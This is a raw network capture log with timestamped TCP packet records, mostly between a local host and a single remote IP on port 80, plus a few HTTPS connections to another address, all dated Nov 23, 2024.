Nov 23, 2024 05:02:25.329902887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.329924107 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.330830097 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.330924988 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.330952883 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.331054926 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.331948996 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.332067966 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.332078934 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.332125902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.333033085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.333128929 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.333139896 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.333184004 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.334177971 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.334273100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.334291935 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.334316015 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.335211992 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.335282087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.335334063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.335690975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.336283922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.336333990 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.336378098 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.336458921 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.337394953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.337459087 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.337546110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.337650061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.338479042 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.338527918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.338573933 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.338633060 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.339553118 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.339665890 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.339705944 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.339778900 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.340646029 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.340756893 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.340775967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.340836048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.341778994 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.341830015 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.341875076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.342003107 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.342860937 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.342953920 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.342974901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.343044996 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.343938112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.344038963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.344044924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.344113111 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.345025063 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.345110893 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.345127106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.345191002 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.346112013 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.346213102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.346224070 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.346380949 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.347225904 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.347285986 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.347302914 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.347338915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.348313093 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.348376036 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.348412991 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.348628044 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.349384069 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.349457026 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.349493027 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.349538088 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.350481987 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.350536108 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.350581884 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.350653887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.351579905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.351659060 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.351675034 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.351829052 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.352679968 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.352754116 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.352773905 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.352830887 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.353754997 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.353846073 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.353882074 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.353949070 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.354850054 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.354893923 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.354906082 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.354950905 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.376264095 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.376338005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.376383066 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.376470089 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.376846075 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.376924992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.376956940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.377012014 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.377907038 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.377991915 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.378030062 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.378106117 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.379023075 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.379144907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.379163980 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.379213095 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.380119085 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.380177975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.380223989 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.380275965 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.381213903 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.381274939 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.381329060 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.381391048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.382293940 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.382368088 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.382405043 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.382546902 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.383400917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.383455038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.383498907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.383610964 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.384520054 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.384603024 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.384733915 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.384794950 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.385595083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.385730028 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.385864019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.385864019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.452193022 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.452239990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.452260017 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.452327967 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.452703953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.452770948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.452914953 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.453027010 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.453028917 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.453083992 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.454010963 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.454087019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.454133034 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.454181910 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.455369949 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.455446959 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.455478907 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.455568075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.456192970 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.456285000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.456300974 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.456360102 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.457278967 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.457339048 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.457377911 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.457464933 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.458374977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.458441973 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.458453894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.458483934 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.459456921 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.459530115 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.459568977 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.459614038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.460562944 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.460640907 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.460670948 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.460783005 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.461642981 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.461730003 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.461741924 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.461812019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.462740898 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.462791920 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.462840080 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.462889910 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.463838100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.463942051 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.463952065 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.464132071 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.464914083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.465014935 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.465029001 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.465109110 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.466013908 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.466105938 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.466115952 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.466176033 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.467103958 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.467158079 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.467207909 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.467343092 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.468200922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.468277931 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.468301058 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.468405008 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.469274998 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.469372034 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.513351917 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.513993025 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.514058113 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.514422894 CET	49732	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.514437914 CET	443	49732	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.528259039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.528326988 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.528356075 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.528384924 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.528700113 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.528749943 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.528767109 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.528829098 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.529673100 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.529736042 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.529761076 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.529817104 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.530601978 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.530719042 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.530765057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.530765057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.531537056 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.531594038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.531644106 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.531723976 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.532449961 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.532521963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.532562017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.532656908 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.533386946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.533440113 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.533492088 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.533554077 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.534329891 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.534425974 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.534435987 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.534487963 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.535262108 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.535332918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.535370111 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.535438061 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.536201954 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.536283016 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.536304951 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.536350012 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.537130117 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.537180901 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.537234068 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.537342072 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.538074017 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.538158894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.538173914 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.538266897 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.539000988 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.539051056 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.539104939 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.539160013 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.540013075 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.540064096 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.540087938 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.540117979 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.540863037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.540941000 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.540985107 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.541035891 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.541865110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.541893959 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.541915894 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.541944027 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.542726994 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.542828083 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.542848110 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.542999983 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.543708086 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.543812990 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.543848038 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.543859959 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.544635057 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.544729948 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.544745922 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.544791937 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.545571089 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.545620918 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.545665026 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.545744896 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.546520948 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.546577930 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.546663046 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.546765089 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.547449112 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.547571898 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.547584057 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.547698021 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.548377037 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.548434019 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.548499107 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.548552990 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.549314976 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.549395084 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.549432039 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.549520969 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.550241947 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.550342083 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.550363064 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.550414085 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.551175117 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.551280975 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.551331997 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.551403999 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.552145958 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.552179098 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.552210093 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.552253962 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.571552038 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.572093010 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.572113991 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.572635889 CET	49731	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.572643042 CET	443	49731	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.577264071 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.577353954 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.577434063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.577434063 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.577722073 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.577775955 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.577795029 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.577863932 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.578681946 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.578682899 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.578766108 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.578778982 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.578825951 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.578988075 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.579020023 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.579385042 CET	49733	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:25.579391003 CET	443	49733	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:25.579612970 CET	80	49724	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:25.579673052 CET	49724	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:25.579721928 CET	80	49724	185.215.113.206	192.168.2.6
